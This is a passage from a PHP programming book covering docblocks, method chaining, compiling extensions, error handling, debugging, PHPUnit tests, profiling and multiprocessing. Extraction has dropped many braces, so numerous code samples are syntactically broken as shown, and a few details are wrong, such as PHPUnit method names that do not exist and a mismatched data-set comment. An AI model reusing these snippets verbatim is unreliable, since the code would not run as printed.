Type<Type<Type>>

Type<Type<Type[, Type]...>>

Type<Type<Type[|Type]...>>

Examples

<?php

/**

* @var ArrayObject<string> $name

*/

$name = new ArrayObject(['a', 'b']);

/**

* @var ArrayObject<int> $name

*/

$name = new ArrayObject([1, 2]);

/**

* @var ArrayObject<stdClass> $name

*/
$name = new ArrayObject([

new stdClass(),

new stdClass()

]);

/**

* @var ArrayObject<string|int|stdClass|bool> $name

*/

$name = new ArrayObject([

'a',

true,

1,

'b',

new stdClass(),

'c',

]);

/**

* @var ArrayObject<ArrayObject<int>> $name

*/

$name = new ArrayObject([

new ArrayObject([1, 2]),

new ArrayObject([1, 2])

]);

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/**
* @var ArrayObject<int, string> $name

*/

$name = new ArrayObject([

1 => 'a',

2 => 'b'

]);

/**

* @var ArrayObject<string, int> $name

*/

$name = new ArrayObject([

'a' => 1,

'b' => 2

]);

/**

* @var ArrayObject<string, stdClass> $name

*/

$name = new ArrayObject([

'a' => new stdClass(),

'b' => new stdClass()

]);

Section 89.5: Adding metadata to files

File level metadata applies to all the code within the file and should be placed at the top of the file:

<?php

/**

* @author John Doe (jdoe@example.com)

* @copyright MIT

*/

Section 89.6: Inheriting metadata from parent structures

If a class extends another class and would use the same metadata, providing it @inheritDoc is a simple
way for use

the same documentation. If multiple classes inherit from a base, only the base would need to be
changed for the

children to be affected.

abstract class FooBase

/**

* @param Int $a First parameter to add

* @param Int $b Second parameter to add

* @return Int

*/

public function sum($a, $b) {}

class ConcreteFoo extends FooBase

/**

* @inheritDoc

*/

public function sum($a, $b)

return $a + $b;

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}

GoalKicker.com – PHP Notes for Professionals 408

Chapter 90: Design Patterns

This topic provides examples of well known design patterns implemented in PHP.

Section 90.1: Method Chaining in PHP

Method Chaining is a technique explained in Martin Fowler's book Domain Specific Languages.
Method Chaining is

summarized as

Makes modifier methods return the host object, so that multiple modifiers can be invoked in a single
expression.

Consider this non-chaining/regular piece of code (ported to PHP from the aforementioned book)

$hardDrive = new HardDrive;

$hardDrive->setCapacity(150);

$hardDrive->external();

$hardDrive->setSpeed(7200);

Method Chaining would allow you to write the above statements in a more compact way:

$hardDrive = (new HardDrive)

->setCapacity(150)

->external()

->setSpeed(7200);

All you need to do for this to work is to return $this in the methods you want to chain from:

class HardDrive {

protected $isExternal = false;

protected $capacity = 0;

protected $speed = 0;
public function external($isExternal = true) {

$this->isExternal = $isExternal;

return $this; // returns the current class instance to allow method chaining

public function setCapacity($capacity) {

$this->capacity = $capacity;

return $this; // returns the current class instance to allow method chaining

public function setSpeed($speed) {

$this->speed = $speed;

return $this; // returns the current class instance to allow method chaining

When to use it

The primary use cases for utilizing Method Chaining is when building internal Domain Specific
Languages. Method

Chaining is a building block in Expression Builders and Fluent Interfaces. It is not synonymous with
those, though.

Method Chaining merely enables those. Quoting Fowler:

GoalKicker.com – PHP Notes for Professionals 409

I've also noticed a common misconception - many people seem to equate fluent interfaces with
Method

Chaining. Certainly chaining is a common technique to use with fluent interfaces, but true fluency is
much

more than that.

With that said, using Method Chaining just for the sake of avoiding writing the host object is
considered a code
smell by many. It makes for unobvious APIs, especially when mixing with non-chaining APIs.

Additional Notes

Command Query Separation

Command Query Separation is a design principle brought forth by Bertrand Meyer. It states that
methods mutating

state (commands) should not return anything, whereas methods returning something (queries) should
not mutate

state. This makes it easier to reason about the system. Method Chaining violates this principle because
we are

mutating state and returning something.

Getters

When making use of classes which implement method chaining, pay particular attention when calling
getter

methods (that is, methods which return something other than $this). Since getters must return a value
other than

$this, chaining an additional method onto a getter makes the call operate on the gotten value, not on
the original

object. While there are some use cases for chained getters, they may make code less readable.

Law of Demeter and impact on testing

Method Chaining as presented above does not violate Law of Demeter. Nor does it impact testing.
That is because

we are returning the host instance and not some collaborator. It's a common misconception stemming
from people

confusing mere Method Chaining with Fluent Interfaces and Expression Builders. It is only when
Method Chaining

returns other objects than the host object that you violate Law of Demeter and end up with Mock
fests in your tests.

GoalKicker.com – PHP Notes for Professionals 410

Chapter 91: Compile PHP Extensions

Section 91.1: Compiling on Linux

To compile a PHP extension in a typical Linux environment, there are a few pre-requisites:

Basic Unix skills (being able to operate "make" and a C compiler)

An ANSI C compiler

The source code for the PHP extension you want to compile

Generally there are two ways to compile a PHP extension. You can statically compile the extension into
the PHP

binary, or compile it as a shared module loaded by your PHP binary at startup. Shared modules are
more likely

since they allow you to add or remove extensions without rebuilding the entire PHP binary. This
example focuses

on the shared option.

If you installed PHP via your package manager (apt-get install, yum install, etc..) you will need to install
the -

dev package for PHP, which will include the necessary PHP header files and phpize script for the build
environment

to work. The package might be named something like php5-dev or php7-dev, but be sure to use your
package

manager to search for the appropriate name using your distro's repositories. They can differ.

If you built PHP from source the header files most likely already exist on your system (usually in
/usr/include or

/usr/local/include).

Steps to compile

After you check to make sure you have all the prerequisites, necessary to compile, in place you can
head over to

pecl.php.net, select an extension you wish to compile, and download the tar ball.

1. Unpack the tar ball (e.g. tar xfvz yaml-2.0.0RC8.tgz)

2. Enter the directory where the archive was unpacked and run phpize

3. You should now see a newly created .configure script if all went well, run that ./configure
4. Now you will need to run make, which will compile the extension

5. Finally, make install will copy the compiled extension binary to your extension directory

The make install step will typically provide the installation path for you where the extension was
copied. This is

usually in /usr/lib/, for example it might be something like /usr/lib/php5/20131226/yaml.so. But this
depends

on your configuration of PHP (i.e. --with-prefix) and specific API version. The API number is included in
the path

to keep extensions built for different API versions in separate locations.

Loading the Extension in PHP

To load the extension in PHP, find your loaded php.ini file for the appropriate SAPI, and add the line

extension=yaml.so then restart PHP. Change yaml.so to the name of the actual extension you installed,
of course.

For a Zend extension you do need to provide the full path to the shared object file. However, for
normal PHP

extensions this path derived from the extension_dir directive in your loaded configuration, or from the
$PATH

environment during initial setup.

GoalKicker.com – PHP Notes for Professionals 411

Chapter 92: Common Errors

Section 92.1: Call fetch_assoc on boolean

If you get an error like this:

Fatal error: Call to a member function fetch_assoc() on boolean in C:\xampp\htdocs\stack\index.php

on line 7

Other variations include something along the lines of:

mysql_fetch_assoc() expects parameter 1 to be resource, boolean given...

These errors mean that there is something wrong with either your query (this is a PHP/MySQL error),
or your
referencing. The above error was produced by the following code:

$mysqli = new mysqli("localhost", "root", "");

$query = "SELCT * FROM db"; // notice the errors here

$result = $mysqli->query($query);

$row = $result->fetch_assoc();

In order to "fix" this error, it is recommended to make mysql throw exceptions instead:

// add this at the start of the script

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

This will then throw an exception with this much more helpful message instead:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server

version for the right syntax to use near 'SELCT * FROM db' at line 1

Another example that would produce a similar error, is where you simply just gave the wrong
information to the

mysql_fetch_assoc function or similar:

$john = true;

mysqli_fetch_assoc($john, $mysqli); // this makes no sense??

Section 92.2: Unexpected $end

Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\stack\index.php on line 4

If you get an error like this (or sometimes unexpected $end, depending on PHP version), you will need
to make sure

that you've matched up all inverted commas, all parentheses, all curly braces, all brackets, etc.

The following code produced the above error:

<?php

if (true) {
echo "asdf";

?>

Notice the missing curly brace. Also do note that the line number shown for this error is irrelevant - it
always shows

GoalKicker.com – PHP Notes for Professionals 412

the last line of your document.

GoalKicker.com – PHP Notes for Professionals 413

Chapter 93: Compilation of Errors and

Warnings

Section 93.1: Parse error: syntax error, unexpected

T_PAAMAYIM_NEKUDOTAYIM

Appearance:

"Paamayim Nekudotayim" means "double colon" in Hebrew; thus this error refers to the
inappropriate use of the

double colon operator (::). The error is typically caused by an attempt to call a static method that is, in
fact, not

static.

Possible Solution:

$classname::doMethod();

If the above code causes this error, you most likely need to simply change the way you call the
method:

$classname->doMethod();

The latter example assumes that $classname is an instance of a class, and the doMethod() is not a
static method of

that class.

Section 93.2: Notice: Undefined index

Appearance:
Trying to access an array by a key that does not exist in the array

Possible Solution:

Check the availability before accessing it. Use:

1. isset()

2. array_key_exists()

Section 93.3: Warning: Cannot modify header information -

headers already sent

Appearance:

Happens when your script tries to send a HTTP header to the client but there already was output
before, which

resulted in headers to be already sent to the client.

Possible Causes:

1. Print, echo: Output from print and echo statements will terminate the opportunity to send HTTP
headers. The

application flow must be restructured to avoid that.

2. Raw HTML areas: Unparsed HTML sections in a .php file are direct output as well. Script conditions
that will

trigger a header() call must be noted before any raw blocks.

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<!DOCTYPE html>

<?php

// Too late for headers already.

3. Whitespace before <?php for "script.php line 1" warnings: If the warning refers to output in line 1,
then it's

mostly leading whitespace, text or HTML before the opening <?php token.

<?php

# There's a SINGLE space/newline before <? - Which already seals it.

Reference from SO answer by Mario

GoalKicker.com – PHP Notes for Professionals 415

Chapter 94: Exception Handling and Error

Reporting

Section 94.1: Setting error reporting and where to display

them

If it's not already done in php.ini, error reporting can be set dynamically and should be set to allow
most errors to

be shown:

Syntax

int error_reporting ([ int $level ] )

Examples

// should always be used prior to 5.4

error_reporting(E_ALL);

// -1 will show every possible error, even when new levels and constants are added

// in future PHP versions. E_ALL does the same up to 5.4.

error_reporting(-1);

// without notices

error_reporting(E_ALL & ~E_NOTICE);

// only warnings and notices.

// for the sake of example, one shouldn't report only those

error_reporting(E_WARNING | E_NOTICE);

errors will be logged by default by php, normally in a error.log file at the same level than the running
script.

in development environment, one can also show them on screen:

ini_set('display_errors', 1);
in production however, one should

ini_set('display_errors', 0);

and show a friendly problem message through the use of an Exception or Error handler.

Section 94.2: Logging fatal errors

In PHP, a fatal error is a kind of error that cannot be caught, that is, after experiencing a fatal error a
program does

not resume. However, to log this error or somehow handle the crash you can use
register_shutdown_function to

register shutdown handler.

function fatalErrorHandler() {

// Let's get last error that was fatal.

$error = error_get_last();

// This is error-only handler for example purposes; no error means that

// there were no error and shutdown was proper. Also ensure it will handle

// only fatal errors.

GoalKicker.com – PHP Notes for Professionals 416

if (null === $error || E_ERROR != $error['type']) {

return;

// Log last error to a log file.

// let's naively assume that logs are in the folder inside the app folder.

$logFile = fopen("./app/logs/error.log", "a+");

// Get useful info out of error.

$type = $error["type"];

$file = $error["file"];
$line = $error["line"];

$message = $error["message"]

fprintf(

$logFile,

"[%s] %s: %s in %s:%d\n",

date("Y-m-d H:i:s"),

$type,

$message,

$file,

$line);

fclose($logFile);

register_shutdown_function('fatalErrorHandler');

Reference:

http://php.net/manual/en/function.register-shutdown-function.php

http://php.net/manual/en/function.error-get-last.php

http://php.net/manual/en/errorfunc.constants.php

GoalKicker.com – PHP Notes for Professionals 417

Chapter 95: Debugging

Section 95.1: Dumping variables

The var_dump function allows you to dump the contents of a variable (type and value) for debugging.

Example:

$array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()];

var_dump($array);

Output:
array(6) {

[0]=>

float(3.7)

[1]=>

string(6) "string"

[2]=>

int(10)

[3]=>

array(1) {

["hello"]=>

string(5) "world"

[4]=>

bool(false)

[5]=>

object(DateTime)#1 (3) {

["date"]=>

string(26) "2016-07-24 13:51:07.000000"

["timezone_type"]=>

int(3)

["timezone"]=>

string(13) "Europe/Berlin"

Section 95.2: Displaying errors

If you want PHP to display runtime errors on the page, you have to enable display_errors, either in the
php.ini or

using the ini_set function.

You can choose which errors to display, with the error_reporting (or in the ini) function, which accepts
E_*

constants, combined using bitwise operators.

PHP can display errors in text or HTML format, depending on the html_errors setting.

Example:

ini_set("display_errors", true);

ini_set("html_errors", false); // Display errors in plain text

error_reporting(E_ALL & ~E_USER_NOTICE); // Display everything except E_USER_NOTICE

trigger_error("Pointless error"); // E_USER_NOTICE

echo $nonexistentVariable; // E_NOTICE

GoalKicker.com – PHP Notes for Professionals 418

nonexistentFunction(); // E_ERROR

Plain text output: (HTML format differs between implementations)

Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7

Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in

/path/to/file.php:8

Stack trace:

#0 {main}

thrown in /path/to/file.php on line 8

NOTE: If you have error reporting disabled in php.ini and enable it during runtime, some errors (such
as

parse errors) won't be displayed, because they occurred before the runtime setting was applied.

The common way to handle error_reporting is to enable it fully with E_ALL constant during the
development, and
to disable publicly displaying it with display_errors on production stage to hide the internals of your
scripts.

Section 95.3: phpinfo()

Warning

It is imperative that phpinfo is only used in a development environment. Never release code
containing

phpinfo into a production environment

Introduction

Having said that, it can be a useful tool in understanding the PHP environment (OS, configuration,
versions, paths,

modules) in which you are working, especially when chasing a bug. It is a simple built in function:

phpinfo();

It has one parameter $what that allows the output to be customized. The default is INFO_ALL, causing
it to display

all information and is commonly used during development to see the current state of PHP.

You can pass the parameter INFO_* constants, combined with bitwise operators to see a customized
list.

You can run it in the browser for a nicely formatted detailed look. It also works in PHP CLI, where you
can pipe it

into less for easier view.

Example

phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES);

This will display a list of PHP directives (ini_get), environment ($_ENV) and predefined variables.

Section 95.4: Xdebug

Xdebug is a PHP extension which provides debugging and profiling capabilities.

It uses the DBGp debugging protocol.

There are some nice features in this tool:

stack traces on errors

GoalKicker.com – PHP Notes for Professionals 419

maximum nesting level protection and time tracking

helpful replacement of standard var_dump() function for displaying variables

allows to log all function calls, including parameters and return values to a file in different formats

code coverage analysis

profiling information

remote debugging (provides interface for debugger clients that interact with running PHP scripts)

As you can see this extension is perfectly suited for development environment. Especially remote
debugging

feature can help you to debug your php code without numerous var_dump's and use normal
debugging process as

in C++ or Java languages.

Usually installing of this extension is very simple:

pecl install xdebug # install from pecl/pear

And activate it into your php.ini:

zend_extension="/usr/local/php/modules/xdebug.so"

In more complicated cases see this instructions

When you use this tool you should remember that:

XDebug is not suitable for production environments

Section 95.5: Error Reporting (use them both)

// this sets the configuration option for your environment

ini_set('display_errors', '1');

//-1 will allow all errors to be reported

error_reporting(-1);

Section 95.6: phpversion()

Introduction
When working with various libraries and their associated requirements, it is often necessary to know
the version of

current PHP parser or one of it's packages.

This function accepts a single optional parameter in the form of extension name:
phpversion('extension'). If the

extension in question is installed, the function will return a string containing version value. However, if
the

extension not installed FALSE will be returned. If the extension name is not provided, the function will
return the

version of PHP parser itself.

Example

print "Current PHP version: " . phpversion();

// Current PHP version: 7.0.8

print "Current cURL version: " . phpversion( 'curl' );

// Current cURL version: 7.0.8

// or

// false, no printed output if package is missing

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Chapter 96: Unit Testing

Section 96.1: Testing class rules

Let's say, we have a simple LoginForm class with rules() method (used in login page as framework
template):

class LoginForm {

public $email;

public $rememberMe;

public $password;

/* rules() method returns an array with what each field has as a requirement.
* Login form uses email and password to authenticate user.

*/

public function rules() {

return [

// Email and Password are both required

[['email', 'password'], 'required'],

// Email must be in email format

['email', 'email'],

// rememberMe must be a boolean value

['rememberMe', 'boolean'],

// Password must match this pattern (must contain only letters and numbers)

['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],

];

/** the validate function checks for correctness of the passed rules */

public function validate($rule) {

$success = true;

list($var, $type) = $rule;

foreach ((array) $var as $var) {

switch ($type) {

case "required":

$success = $success && $this->$var != "";

break;

case "email":

$success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL);

break;

case "boolean":

$success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN,

FILTER_NULL_ON_FAILURE) !== null;

break;

case "match":

$success = $success && preg_match($rule["pattern"], $this->$var);

break;

default:

throw new \InvalidArgumentException("Invalid filter type passed")

return $success;

In order to perform tests on this class, we use Unit tests (checking source code to see if it fits our
expectations):

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class LoginFormTest extends TestCase {

protected $loginForm;

// Executing code on the start of the test

public function setUp() {

$this->loginForm = new LoginForm;

// To validate our rules, we should use the validate() method

/**
* This method belongs to Unit test class LoginFormTest and

* it's testing rules that are described above.

*/

public function testRuleValidation() {

$rules = $this->loginForm->rules();

// Initialize to valid and test this

$this->loginForm->email = "valid@email.com";

$this->loginForm->password = "password";

$this->loginForm->rememberMe = true;

$this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is

invalid");

// Test email validation

// Since we made email to be in email format, it cannot be empty

$this->loginForm->email = '';

$this->assertFalse($this->loginForm->validate($rules), "Email should not be valid

(empty)");

// It does not contain "@" in string so it's invalid

$this->loginForm->email = 'invalid.email.com';

$this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (invalid

format)");

// Revert email to valid for next test

$this->loginForm->email = 'valid@email.com';

// Test password validation

// Password cannot be empty (since it's required)

$this->loginForm->password = '';
$this->assertFalse($this->loginForm->validate($rules), "Password should not be valid

(empty)");

// Revert password to valid for next test

$this->loginForm->password = 'ThisIsMyPassword';

// Test rememberMe validation

$this->loginForm->rememberMe = 999;

$this->assertFalse($this->loginForm->validate($rules), "RememberMe should not be valid

(integer type)");

// Revert remeberMe to valid for next test

$this->loginForm->rememberMe = true;

How exactly Unit tests can help with (excluding general examples) in here? For example, it fits very
well when we

get unexpected results. For example, let's take this rule from earlier:

['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],

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Instead, if we missed one important thing and wrote this:

['password', 'match', 'pattern' => '/^[a-z0-9]$/i'],

With dozens of different rules (assuming we are using not just email and password), it's difficult to
detect mistakes.

This unit test:

// Initialize to valid and test this

$this->loginForm->email = "valid@email.com";

$this->loginForm->password = "password";

$this->loginForm->rememberMe = true;
$this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid");

Will pass our first example but not second. Why? Because in 2nd example we wrote a pattern with a
typo (missed +

sign), meaning it only accepts one letter/number.

Unit tests can be run in console with command: phpunit [path_to_file]. If everything is OK, we should
be able to

see that all tests are in OK state, else we will see either Error (syntax errors) or Fail (at least one line in
that method

did not pass).

With additional parameters like --coverage we can also see visually how many lines in backend code
were tested

and which passed/failed. This applies to any framework that has installed PHPUnit.

Example how PHPUnit test looks like in console (general look, not according to this example):

GoalKicker.com – PHP Notes for Professionals 423

Section 96.2: PHPUnit Data Providers

Test methods often need data to be tested with. To test some methods completely you need to
provide different

data sets for every possible test condition. Of course, you can do it manually using loops, like this:

...

public function testSomething()

$data = [...];

foreach($data as $dataSet) {

$this->assertSomething($dataSet);

...
And someone can find it convenient. But there are some drawbacks of this approach. First, you'll have
to perform

additional actions to extract data if your test function accepts several parameters. Second, on failure it
would be

difficult to distinguish the failing data set without additional messages and debugging. Third, PHPUnit
provides

automatic way to deal with test data sets using data providers.

Data provider is a function, that should return data for your particular test case.

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A data provider method must be public and either return an array of arrays or an object that

implements the Iterator interface and yields an array for each iteration step. For each array that is part

of the collection the test method will be called with the contents of the array as its arguments.

To use a data provider with your test, use @dataProvider annotation with the name of data provider
function

specified:

/**

* @dataProvider dataProviderForTest

*/

public function testEquals($a, $b)

$this->assertEquals($a, $b);

public function dataProviderForTest()

return [

[1,1],

[2,2],
[3,2] //this will fail

];

Array of arrays

Note that dataProviderForTest() returns array of arrays. Each nested array has two elements and they

will fill necessary parameters for testEquals() one by one. Error like this will be thrown Missing

argument 2 for Test::testEquals() if there are not enough elements. PHPUnit will automatically loop

through data and run tests:

public function dataProviderForTest()

return [

[1,1], // [0] testEquals($a = 1, $b = 1)

[2,2], // [1] testEquals($a = 2, $b = 2)

[3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4)

];

Each data set can be named for convenience. It will be easier to detect failing data:

public function dataProviderForTest()

return [

'Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1)

'Test 2' => [2,2], // [1] testEquals($a = 2, $b = 2)

'Test 3' => [3,2] // [2] There was 1 failure:

// 1) Test::testEquals with data set "Test 3" (3, 4)

];
}

Iterators

class MyIterator implements Iterator {

protected $array = [];

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public function __construct($array) {

$this->array = $array;

function rewind() {

return reset($this->array);

function current() {

return current($this->array);

function key() {

return key($this->array);

function next() {

return next($this->array);

function valid() {

return key($this->array) !== null;

...
class Test extends TestCase

/**

* @dataProvider dataProviderForTest

*/

public function testEquals($a)

$toCompare = 0;

$this->assertEquals($a, $toCompare);

public function dataProviderForTest()

return new MyIterator([

'Test 1' => [0],

'Test 2' => [false],

'Test 3' => [null]

]);

As you can see, simple iterator also works.

Note that even for a single parameter, data provider must return an array [$parameter]

Because if we change our current() method (which actually return data on every iteration) to this:

function current() {

return current($this->array)[0];

}
Or change actual data:

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return new MyIterator([

'Test 1' => 0,

'Test 2' => false,

'Test 3' => null

]);

We'll get an error:

There was 1 warning:

1) Warning

The data provider specified for Test::testEquals is invalid.

Of course, it is not useful to use Iterator object over a simple array. It should implement some specific

logic for your case.

Generators

It is not explicitly noted and shown in manual, but you can also use a generator as data provider. Note
that

Generator class actually implements Iterator interface.

So here's an example of using DirectoryIterator combined with generator:

/**

* @param string $file

* @dataProvider fileDataProvider

*/

public function testSomethingWithFiles($fileName)

//$fileName is available here

//do test here

public function fileDataProvider()

$directory = new DirectoryIterator('path-to-the-directory');

foreach ($directory as $file) {

if ($file->isFile() && $file->isReadable()) {

yield [$file->getPathname()]; // invoke generator here.

Note provider yields an array. You'll get an invalid-data-provider warning instead.

Section 96.3: Test exceptions

Let's say you want to test method which throws an exception

class Car

/**

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* @throws \Exception

*/

public function drive()

throw new \Exception('Useful message', 1);

}
}

You can do that by enclosing the method call into a try/catch block and making assertions on
execption object's

properties, but more conveniently you can use exception assertion methods. As of PHPUnit 5.2 you
have expectX()

methods available for asserting exception type, message & code

class DriveTest extends PHPUnit_Framework_TestCase

public function testDrive()

// prepare

$car = new \Car();

$expectedClass = \Exception::class;

$expectedMessage = 'Useful message';

$expectedCode = 1;

// test

$this->expectException($expectedClass);

$this->expectMessage($expectedMessage);

$this->expectCode($expectedCode);

// invoke

$car->drive();

If you are using earlier version of PHPUnit, method setExpectedException can be used in stead of
expectX()

methods, but keep in mind that it's deprecated and will be removed in version 6.

class DriveTest extends PHPUnit_Framework_TestCase

{

public function testDrive()

// prepare

$car = new \Car();

$expectedClass = \Exception::class;

$expectedMessage = 'Useful message';

$expectedCode = 1;

// test

$this->setExpectedException($expectedClass, $expectedMessage, $expectedCode);

// invoke

$car->drive();

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Chapter 97: Performance

Section 97.1: Profiling with Xdebug

An extension to PHP called Xdebug is available to assist in profiling PHP applications, as well as
runtime debugging.

When running the profiler, the output is written to a file in a binary format called "cachegrind".
Applications are

available on each platform to analyze these files.

To enable profiling, install the extension and adjust php.ini settings. In our example we will run the
profile

optionally based on a request parameter. This allows us to keep settings static and turn on the profiler
only as

needed.
// Set to 1 to turn it on for every request

xdebug.profiler_enable = 0

// Let's use a GET/POST parameter to turn on the profiler

xdebug.profiler_enable_trigger = 1

// The GET/POST value we will pass; empty for any value

xdebug.profiler_enable_trigger_value = ""

// Output cachegrind files to /tmp so our system cleans them up later

xdebug.profiler_output_dir = "/tmp"

xdebug.profiler_output_name = "cachegrind.out.%p"

Next use a web client to make a request to your application's URL you wish to profile, e.g.

http://example.com/article/1?XDEBUG_PROFILE=1

As the page processes it will write to a file with a name similar to

/tmp/cachegrind.out.12345

Note that it will write one file for each PHP request / process that is executed. So, for example, if you
wish to

analyze a form post, one profile will be written for the GET request to display the HTML form. The
XDEBUG_PROFILE

parameter will need to be passed into the subsequent POST request to analyze the second request
which

processes the form. Therefore when profiling it is sometimes easier to run curl to POST a form directly.

Once written the profile cache can be read by an application such as KCachegrind.

GoalKicker.com – PHP Notes for Professionals 429

This will display information including:

Functions executed

Call time, both itself and inclusive of subsequent function calls

Number of times each function is called

Call graphs
Links to source code

Obviously performance tuning is very specific to each application's use cases. In general it's good to
look for:

Repeated calls to the same function you wouldn't expect to see. For functions that process and query
data

these could be prime opportunities for your application to cache.

Slow-running functions. Where is the application spending most of its time? the best payoff in
performance

tuning is focusing on those parts of the application which consume the most time.

Note: Xdebug, and in particular its profiling features, are very resource intensive and slow down PHP
execution. It is

recommended to not run these in a production server environment.

Section 97.2: Memory Usage

PHP's runtime memory limit is set through the INI directive memory_limit. This setting prevents any
single

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execution of PHP from using up too much memory, exhausting it for other scripts and system software.
The

memory limit defaults to 128M and can be changed in the php.ini file or at runtime. It can be set to
have no limit,

but this is generally considered bad practice.

The exact memory usage used during runtime can be determined by calling memory_get_usage(). It
returns the

number of bytes of memory allocated to the currently running script. As of PHP 5.2, it has one
optional boolean

parameter to get the total allocated system memory, as opposed to the memory that's actively being
used by PHP.

<?php

echo memory_get_usage() . "\n";

// Outputs 350688 (or similar, depending on system and PHP version)

// Let's use up some RAM

$array = array_fill(0, 1000, 'abc');

echo memory_get_usage() . "\n";

// Outputs 387704

// Remove the array from memory

unset($array);

echo memory_get_usage() . "\n";

// Outputs 350784

Now memory_get_usage gives you memory usage at the moment it is run. Between calls to this
function you may

allocate and deallocate other things in memory. To get the maximum amount of memory used up to a
certain

point, call memory_get_peak_usage().

<?php

echo memory_get_peak_usage() . "\n";

// 385688

$array = array_fill(0, 1000, 'abc');

echo memory_get_peak_usage() . "\n";

// 422736

unset($array);

echo memory_get_peak_usage() . "\n";

// 422776

Notice the value will only go up or stay constant.

Section 97.3: Profiling with XHProf

XHProf is a PHP profiler originally written by Facebook, to provide a more lightweight alternative to
XDebug.
After installing the xhprof PHP module, profiling can be enabled / disabled from PHP code:

xhprof_enable();

doSlowOperation();

$profile_data = xhprof_disable();

The returned array will contain data about the number of calls, CPU time and memory usage of each
function that

has been accessed inside doSlowOperation().

xhprof_sample_enable()/xhprof_sample_disable() can be used as a more lightweight option that will

only log

profiling information for a fraction of requests (and in a different format).

XHProf has some (mostly undocumented) helper functions to display the data (see example), or you
can use other

GoalKicker.com – PHP Notes for Professionals 431

tools to visualize it (the platform.sh blog has an example).

GoalKicker.com – PHP Notes for Professionals 432

Chapter 98: Multiprocessing

Section 98.1: Multiprocessing using built-in fork functions

You can use built-in functions to run PHP processes as forks. This is the most simple way to achieve
parallel work if

you don't need your threads to talk to each other.

This allows you to put time intensive tasks (like uploading a file to another server or sending an email)
to another

thread so your script loads faster and can use multiple cores but be aware that this is not real
multithreading and

your main thread won't know what the children are up to.

Note that under Windows this will make another command prompt pop up for each fork you start.

master.php

$cmd = "php worker.php 10";

if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') // for windows use popen and pclose

pclose(popen($cmd,"r"));

else //for unix systems use shell exec with "&" in the end

exec('bash -c "exec nohup setsid '.$cmd.' > /dev/null 2>&1 &"');

worker.php

//send emails, upload files, analyze logs, etc

$sleeptime = $argv[1];

sleep($sleeptime);

Section 98.2: Creating child process using fork

PHP has built in function pcntl_fork for creating child process. pcntl_fork is same as fork in unix. It
does not take

in any parameters and returns integer which can be used to differentiate between parent and child
process.

Consider the following code for explanation

<?php

// $pid is the PID of child

$pid = pcntl_fork();

if ($pid == -1) {

die('Error while creating child process');

} else if ($pid) {

// Parent process

} else {
// Child process

?>

As you can see -1 is an error in fork and the child was not created. On creation of child, we have two
processes

running with separate PID.

Another consideration here is a zombie process or defunct process when parent process finishes
before child

process. To prevent a zombie children process simply add pcntl_wait($status) at the end of parent
process.

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pnctl_wait suspends execution of parent process until the child process has exited.

It is also worth noting that zombie process can't be killed using SIGKILL signal.

Section 98.3: Inter-Process Communication

Interprocess communication allows programmers to communicate between different processes. For

example let us

consider we need to write an PHP application that can run bash commands and print the output. We
will be using

proc_open , which will execute the command and return a resource that we can communicate with.
The following

code shows a basic implementation that runs pwd in bash from php

<?php

$descriptor = array(

0 => array("pipe", "r"), // pipe for stdin of child

1 => array("pipe", "w"), // pipe for stdout of child

);

$process = proc_open("bash", $descriptor, $pipes);

if (is_resource($process)) {
fwrite($pipes[0], "pwd" . "\n");

fclose($pipes[0]);

echo stream_get_contents($pipes[1]);

fclose($pipes[1]);

$return_value = proc_close($process);

?>

proc_open runs bash command with $descriptor as descriptor specifications. After that we use
is_resource to

validate the process. Once done we can start interacting with the child process using $pipes which is
generated

according to descriptor specifications.

After that we can simply use fwrite to write to stdin of child process. In this case pwd followed by
carriage return.

Finally stream_get_contents is used to read stdout of child process.

Always remember to close the child process by using proc_close() which will terminate the child and

return the exit status code.

GoalKicker.com – PHP Notes for Professionals 434

Chapter 99: Multi Threading Extension

Section 99.1: Getting Started

To start with multi-threading, you would need the pthreads-ext for php, which can be installed by

$ pecl install pthreads

and adding the entry to php.ini.

A simple example:

<?php

// NOTE: Code uses PHP7 semantics.

class MyThread extends Thread {

/**

* @var string

* Variable to contain the message to be displayed.

*/

private $message;

public function __construct(string $message) {

// Set the message value for this particular instance.

$this->message = $message;

// The operations performed in this function is executed in the other thread.

public function run() {

echo $this->message;

// Instantiate MyThread

$myThread = new MyThread("Hello from an another thread!");

// Start the thread. Also it is always a good practice to join the thread explicitly.

// Thread::start() is used to initiate the thread,

$myThread->start();

// and Thread::join() causes the context to wait for the thread to finish executing

$myThread->join();

Section 99.2: Using Pools and Workers

Pooling provides a higher level abstraction of the Worker functionality, including the management of

references in the way required by pthreads. From: http://php.net/manual/en/class.pool.php

Pools and workers provide an higher level of control and ease of creating multi-threaded

<?php

// This is the *Work* which would be ran by the worker.

// The work which you'd want to do in your worker.

// This class needs to extend the \Threaded or \Collectable or \Thread class.

class AwesomeWork extends Thread {

private $workName;

/**

* @param string $workName

GoalKicker.com – PHP Notes for Professionals 435

* The work name wich would be given to every work.

*/

public function __construct(string $workName) {

// The block of code in the constructor of your work,

// would be executed when a work is submitted to your pool.

$this->workName = $workName;

printf("A new work was submitted with the name: %s\n", $workName);

public function run() {

// This block of code in, the method, run

// would be called by your worker.

// All the code in this method will be executed in another thread.

$workName = $this->workName;

printf("Work named %s starting...\n", $workName);

printf("New random number: %d\n", mt_rand());

}

// Create an empty worker for the sake of simplicity.

class AwesomeWorker extends Worker {

public function run() {

// You can put some code in here, which would be executed

// before the Work's are started (the block of code in the `run` method of your Work)

// by the Worker.

/* ... */

// Create a new Pool Instance.

// The ctor of \Pool accepts two parameters.

// First: The maximum number of workers your pool can create.

// Second: The name of worker class.

$pool = new \Pool(1, \AwesomeWorker::class);

// You need to submit your jobs, rather the instance of

// the objects (works) which extends the \Threaded class.

